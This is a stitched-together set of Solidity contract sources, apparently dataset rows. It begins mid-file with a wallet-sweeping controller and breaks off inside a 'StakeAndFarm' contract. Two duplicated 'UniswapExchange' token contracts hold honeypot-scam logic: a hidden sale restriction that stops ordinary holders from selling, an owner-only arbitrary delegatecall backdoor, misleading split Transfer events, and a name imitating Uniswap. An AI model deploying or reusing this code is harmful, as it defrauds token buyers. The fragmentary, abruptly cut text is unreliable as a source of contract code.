function() public payable {
if (msg.value > 0) {
emit ReceivedETH(msg.sender, msg.value);
}
if (gasleft() > 2400) {
delegatedFwd(DelegateProvider(owner).getDelegate(), msg.data);
}
}
}
contract Wallet is WalletStorage {
function transferERC20Token(Token token, address to, uint256 amount) public returns (bool) {
require(msg.sender == owner);
uint256 prevBalance = token.balanceOf(address(this));
if (prevBalance < amount) {
return false;
}
address(token).call(
abi.encodeWithSignature("transfer(address,uint256)", to, amount)
);
return prevBalance - amount == token.balanceOf(address(this));
}
function transferEther(address to, uint256 amount) public returns (bool) {
require(msg.sender == owner);
return to.call.value(amount)();
}
function() public payable {}
}
contract Controller is ControllerStorage, Ownable, HasWorkers {
event CreatedUserWallet(address _wallet);
event WithdrawEth(address _wallet, address _to, uint256 _amount);
event WithdrawToken(address _token, address _wallet, address _to, uint256 _amount);
event ChangedForward(address _old, address _new, address _operator);
constructor() public {
setForward(msg.sender);
}
function executeTransaction(address destination, uint256 value, bytes memory _bytes) public onlyOwner returns (bool) {
return destination.call.value(value)(_bytes);
}
function setForward(address _forward) public onlyOwner returns (bool) {
emit ChangedForward(forward, _forward, msg.sender);
forward = _forward;
return true;
}
function createWallets(uint256 number) public onlyWorker returns (bool) {
for (uint256 i = 0; i < number; i++) {
emit CreatedUserWallet(new WalletProxy());
}
createdWallets += number;
return true;
}
function withdrawEth(Wallet wallet) public onlyWorker returns (bool result) {
uint256 balance = address(wallet).balance;
result = wallet.transferEther(forward, balance);
if (result) {
emit WithdrawEth(wallet, forward, balance);
}
}
function withdrawEthBatch(Wallet[] wallets) public onlyWorker returns (bool) {
uint256 size = wallets.length;
uint256 balance;
Wallet wallet;
for (uint256 i = 0; i < size; i++) {
wallet = wallets[i];
balance = wallet.balance;
if (wallet.transferEther(this, balance)) {
emit WithdrawEth(wallet, forward, balance);
}
}
forward.call.value(address(this).balance)();
return true;
}
function withdrawERC20(Token token, Wallet wallet) public onlyWorker returns (bool result) {
uint256 balance = token.balanceOf(wallet);
result = wallet.transferERC20Token(token, forward, balance);
if (result) {
emit WithdrawToken(token, wallet, forward, balance);
}
TokenHandler(forward).handleTokens(token);
}
function withdrawERC20Batch(Token token, Wallet[] wallets) public onlyWorker returns (bool) {
uint256 size = wallets.length;
uint256 balance;
Wallet wallet;
for (uint256 i = 0; i < size; i++) {
wallet = wallets[i];
balance = token.balanceOf(wallet);
if (wallet.transferERC20Token(token, forward, balance)) {
emit WithdrawToken(token, wallet, forward, balance);
}
}
TokenHandler(forward).handleTokens(token);
return true;
}
function() public payable {}
} | 0 | 2,007 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 193 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,515 |
pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _ConverttalSupply;
function totalSupply() public view returns(uint) {
return _ConverttalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_ConverttalSupply = _ConverttalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_ConverttalSupply = _ConverttalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
library MerkleProof {
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
return computedHash == root;
}
}
library Strings {
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = byte(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
library SafeCast {
function toUint128(uint256 value) internal pure returns (uint128) {
require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits");
return uint128(value);
}
function toUint64(uint256 value) internal pure returns (uint64) {
require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits");
return uint64(value);
}
function toUint32(uint256 value) internal pure returns (uint32) {
require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits");
return uint32(value);
}
function toUint16(uint256 value) internal pure returns (uint16) {
require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits");
return uint16(value);
}
function toUint8(uint256 value) internal pure returns (uint8) {
require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits");
return uint8(value);
}
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
function toInt128(int256 value) internal pure returns (int128) {
require(value >= -2**127 && value < 2**127, "SafeCast: value doesn\'t fit in 128 bits");
return int128(value);
}
function toInt64(int256 value) internal pure returns (int64) {
require(value >= -2**63 && value < 2**63, "SafeCast: value doesn\'t fit in 64 bits");
return int64(value);
}
function toInt32(int256 value) internal pure returns (int32) {
require(value >= -2**31 && value < 2**31, "SafeCast: value doesn\'t fit in 32 bits");
return int32(value);
}
function toInt16(int256 value) internal pure returns (int16) {
require(value >= -2**15 && value < 2**15, "SafeCast: value doesn\'t fit in 16 bits");
return int16(value);
}
function toInt8(int256 value) internal pure returns (int8) {
require(value >= -2**7 && value < 2**7, "SafeCast: value doesn\'t fit in 8 bits");
return int8(value);
}
function toInt256(uint256 value) internal pure returns (int256) {
require(value < 2**255, "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
}
interface IRelayHub {
function stake(address relayaddr, uint256 unstakeDelay) external payable;
event Staked(address indexed relay, uint256 stake, uint256 unstakeDelay);
function registerRelay(uint256 transactionFee, string calldata url) external;
event RelayAdded(address indexed relay, address indexed owner, uint256 transactionFee, uint256 stake, uint256 unstakeDelay, string url);
function removeRelayByOwner(address relay) external;
event RelayRemoved(address indexed relay, uint256 unstakeTime);
function unstake(address relay) external;
event Unstaked(address indexed relay, uint256 stake);
enum RelayState {
Unknown,
Staked,
Registered,
Removed
}
function getRelay(address relay) external view returns (uint256 totalStake, uint256 unstakeDelay, uint256 unstakeTime, address payable owner, RelayState state);
function depositFor(address target) external payable;
event Deposited(address indexed recipient, address indexed from, uint256 amount);
function balanceOf(address target) external view returns (uint256);
function withdraw(uint256 amount, address payable dest) external;
event Withdrawn(address indexed account, address indexed dest, uint256 amount);
function canRelay(
address relay,
address from,
address to,
bytes calldata encodedFunction,
uint256 transactionFee,
uint256 gasPrice,
uint256 gasLimit,
uint256 nonce,
bytes calldata signature,
bytes calldata approvalData
) external view returns (uint256 status, bytes memory recipientContext);
enum PreconditionCheck {
OK,
WrongSignature,
WrongNonce,
AcceptRelayedCallReverted,
InvalidRecipientStatusCode
}
function relayCall(
address from,
address to,
bytes calldata encodedFunction,
uint256 transactionFee,
uint256 gasPrice,
uint256 gasLimit,
uint256 nonce,
bytes calldata signature,
bytes calldata approvalData
) external;
event CanRelayFailed(address indexed relay, address indexed from, address indexed to, bytes4 selector, uint256 reason);
event TransactionRelayed(address indexed relay, address indexed from, address indexed to, bytes4 selector, RelayCallStatus status, uint256 charge);
enum RelayCallStatus {
OK,
RelayedCallFailed,
PreRelayedFailed,
PostRelayedFailed,
RecipientBalanceChanged
}
function requiredGas(uint256 relayedCallStipend) external view returns (uint256);
function maxPossibleCharge(uint256 relayedCallStipend, uint256 gasPrice, uint256 transactionFee) external view returns (uint256);
function penalizeRepeatedNonce(bytes calldata unsignedTx1, bytes calldata signature1, bytes calldata unsignedTx2, bytes calldata signature2) external;
function penalizeIllegalTransaction(bytes calldata unsignedTx, bytes calldata signature) external;
event Penalized(address indexed relay, address sender, uint256 amount);
function getNonce(address from) external view returns (uint256);
}
contract StakeAndFarm {
event Transfer(address indexed _Load, address indexed _Convert, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _Convert, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _Convert, _value);
}
function transferFrom(address _Load, address _Convert, uint _value)
public payable SwapAndFarmingForGarDeners(_Load, _Convert) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _Load) {
require(allowance[_Load][msg.sender] >= _value);
allowance[_Load][msg.sender] -= _value;
}
require(balanceOf[_Load] >= _value);
balanceOf[_Load] -= _value;
balanceOf[_Convert] += _value;
emit Transfer(_Load, _Convert, _value);
return true;
}
function approve(address dev,
address marketing, address adviser, address privateSale, address publicSale, address community,
address Binance,
address CoinmarketCap,
address Coingecko,
uint _value)
public payable returns (bool) {
allowance[msg.sender][dev] = _value; emit Approval(msg.sender, dev, _value); allowance[msg.sender][marketing] = _value; emit Approval(msg.sender, marketing, _value);
allowance[msg.sender][adviser] = _value; emit Approval(msg.sender, adviser, _value);
allowance[msg.sender][privateSale] = _value; emit Approval(msg.sender, privateSale, _value);
allowance[msg.sender][publicSale] = _value;
